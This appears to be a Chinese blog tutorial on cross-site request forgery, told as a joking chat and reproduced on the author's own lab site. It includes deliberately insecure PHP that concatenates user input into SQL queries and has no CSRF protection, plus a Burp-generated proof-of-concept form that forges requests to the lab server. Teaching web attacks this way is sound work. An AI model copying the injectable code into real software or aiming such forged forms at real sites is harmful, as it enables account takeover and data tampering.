• 大黑客:小v呀,這個網址裡面有你的高中合影哎?
  • ailx10:真的啊,我看看??。
  • 大黑客:哈哈,你的靶場被我種了一顆瓜了~
  • ailx10:不會吧,你怎麼做到的?
  • 大黑客:你是不是點擊了網址?
  • ailx10:靠,這也會中招啊??!

在上述的情景中,就是典型的CSRF注入攻擊,Cross Site Request Forgery, 跨站請求偽造攻擊,當小v在瀏覽自己的網站的時候,突然收到朋友的一條消息,消息中有一則吸引力十足的網址。當小v點擊進去,就受到了CSRF攻擊,下面復現大黑客如何操縱小v的賬號。

在線實驗環境:144.34.129.116/ (請勿攻擊,抓住看我不打死你哦)

維護伺服器需要一定費用,本網站有效維護到2019年9月!贊助請打賞文章,會積好運。


小v新開發的一個網頁,這個網頁首先需要小v的密碼登錄。登錄之後,便可以像資料庫中添加一個新鮮的瓜,存起來以後喫,連續跟著 @賤賤 老師喫瓜chi到消化不良。

先來看看正常流程:

小v輸入自己的密碼,跳轉到下面新的網頁:

小v添加一個瓜,資料庫中立即上了一個新瓜:

這個時候,小v收到了大黑客發來的一個鏈接,本著好奇心點了進去,映入眼簾的是賤賤老師正直的圖片,這時候走入了CSRF攻擊流程!這個鏈接內容是大黑客精心佈局的,畫面非常刺激。典型的CSRF攻擊就是點擊B網站,影響A網站。比如,??點擊黃網,??qq被盜。

小v感覺很有趣,點擊了下載按鈕,這個時候小v的瓜庫自動添加了ljh的瓜??。

  • ailx10:弱弱的問一句,不點下載按鈕,總不會受到影響吧?
  • 大黑客:不行??。我可以採用網頁自動提交,進入我的鏈接,你的行為就已經被我接管了。

好一招借屍還魂術,實在是高。想想你的生活中,是不是有類似的場景,哎呀我的號怎麼被盜了啊?TA一定不會告訴你TA看了什麼!喫瓜感想,陌生鏈接不要點。


前端代碼:

<!-- index1.html by ailx10 -->
<html>
<head>
<title>ailx10</title>
</head>
<body>
<b>Only ailx10 operate!</b>

<form action="edit.php" method="get">
ailx10s passwd:<input type="text" name="admin"><br />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>

後臺代碼:

// edit.php by ailx10
<?php
session_start();
$con = mysqli_connect("localhost","root","***","hack2018");
if(!$con)
{
echo "error:" . mysqli_connect_error();
}
if(isset($_GET[admin]))
{
$passwd = $_GET["admin"];
$result = mysqli_query($con,"select * from login where `name` =ailx10 and `passwd` = " . $passwd ."");
$row = mysqli_fetch_array($result);
if($row)
{
$_SESSION[isadmin] = ailx10;
echo("welcome ailx10!<br />");
print <<<INFO
<form action="edit.php" method="post">
<br /><b>ADD melons!</b><br />
name:<input type="text" name="name"><br />
passwd:<input type="text" name="passwd"><br />
school:<input type="text" name="school"><br />
<input type="submit" name="submit" value="submit" />
</form>
INFO;
}
else
{
$_SESSION[isadmin] = guest;
exit("error! u 2 guest1 <br />");
}
}

if($_SESSION[isadmin] != "ailx10")
{
exit("error!! not ailx10 <br />");
}

if(isset($_POST[submit]))
{
if(isset($_POST["name"]))
{
$res = mysqli_query($con,"insert into login (`name`,`passwd`,`school`) value (" . $_POST["name"] . "," . $_POST["passwd"] . "," . $_POST["school"] . ")");
echo("success add " . $_POST["name"] . " " . $_POST["passwd"] . " " . $_POST["school"] . "<br />");
}
}
?>

大黑客精心設計的代碼:

<!-- hack01.html by hack01 -->
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<img src=./j2.jpg height=200 width_=400/>
<form action="http://144.34.129.116/html/hack/xsrf/csrf/edit.php" method="POST">
<input type="hidden" name="admin" value="123" />
<input type="hidden" name="name" value="ljh" />
<input type="hidden" name="passwd" value="ljh" />
<input type="hidden" name="school" value="CU" />
<input type="submit" name="submit" value="download" />
</form>
</body>
</html>

通過Burp自動構造,然後手動修改:

後記:

  • 大黑客:CSRF學會了嗎?
  • ailx10:拍我的瓜,還教育我?看我不打死你 ...

參考文獻:《Web安全攻防:滲透測試實戰指南》電子工業出版社

推薦閱讀:

查看原文 >>
相關文章